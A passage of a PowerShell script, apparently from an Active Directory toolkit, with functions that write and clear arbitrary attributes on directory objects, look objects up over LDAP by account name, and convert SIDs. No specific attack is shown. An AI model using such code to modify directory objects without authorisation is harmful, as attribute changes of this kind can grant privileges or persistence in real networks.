650 | $Entry.put($key, $value) 651 | } 652 | catch { 653 | Write-Output "[-] Error setting/replacing property '$key' for object '$($Entry.sAMAccountName)' : $_" 654 | } 655 | } 656 | } 657 | 658 | function Clear-Values { 659 | param ( 660 | [ADSI]$Entry, 661 | [string[]]$Clear 662 | ) 663 | 664 | foreach ($key in $Clear) { 665 | Write-Output "[+] Clearing $key for $($Entry.sAMAccountName)" 666 | try { 667 | $Entry.psbase.Properties[$key].Clear() 668 | } 669 | catch { 670 | Write-Output "[-] Error clearing property '$key' for object '$($Entry.sAMAccountName)' : $_" 671 | } 672 | } 673 | } 674 | 675 | try { 676 | $Entry = (Get-ADSIObject -samAccountName $Identity -Domain $Domain -Server $Server -Raw).GetDirectoryEntry() 677 | } 678 | catch { 679 | Write-Output "[-] Error retrieving object with Identity '$Identity' : $_" 680 | return 681 | } 682 | 683 | if ($Set.Count -gt 0) { 684 | Set-Values -Entry $Entry -Set $Set 685 | try { 686 | $Entry.SetInfo() 687 | } 688 | catch { 689 | Write-Output "[-] Error committing changes for object '$Identity' : $_" 690 | } 691 | } 692 | 693 | if ($Clear.Length -gt 0) { 694 | Clear-Values -Entry $Entry -Clear $Clear 695 | try { 696 | $Entry.SetInfo() 697 | } 698 | catch { 699 | Write-Output "[-] Error committing changes for object '$Identity' : $_" 700 | } 701 | } 702 | } 703 | 704 | function Get-ADSIObject { 705 | param ( 706 | [string]$samAccountName, 707 | [string]$Domain, 708 | [string]$Server, 709 | [switch]$Raw 710 | ) 711 | $root = "$Domain" -replace "\.", ",DC=" 712 | $domainPath = "DC=" + "$root" 713 | $ldapPath = "LDAP://$Server/$domainPath" 714 | $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldapPath) 715 | $searcher.Filter = "(&(sAMAccountName=$samAccountName))" 716 | $result = $searcher.FindOne() 717 | 718 | if($Raw){ 719 | if ($result -ne $null) { 720 | return $result 721 | } 722 | else { 723 | throw "[-] Object with samAccountName '$samAccountName' not found." 724 | } 725 | } 726 | else{ 727 | if ($result -ne $null) { 728 | 729 | $properties = @{} 730 | foreach ($propName in $result.Properties.PropertyNames) { 731 | $properties[$propName] = $result.Properties[$propName] 732 | } 733 | 734 | return [PSCustomObject]$properties 735 | } else { 736 | throw "[-] Object with samAccountName '$samAccountName' not found." 737 | } 738 | } 739 | } 740 | 741 | function GetSID-FromBytes { 742 | param ( 743 | [byte[]]$sidBytes 744 | ) 745 | 746 | $sid = New-Object System.Security.Principal.SecurityIdentifier($sidBytes, 0) 747 | $stringSid = $sid.Value 748 | return $stringSid 749 | } 750 | --------------------------------------------------------------------------------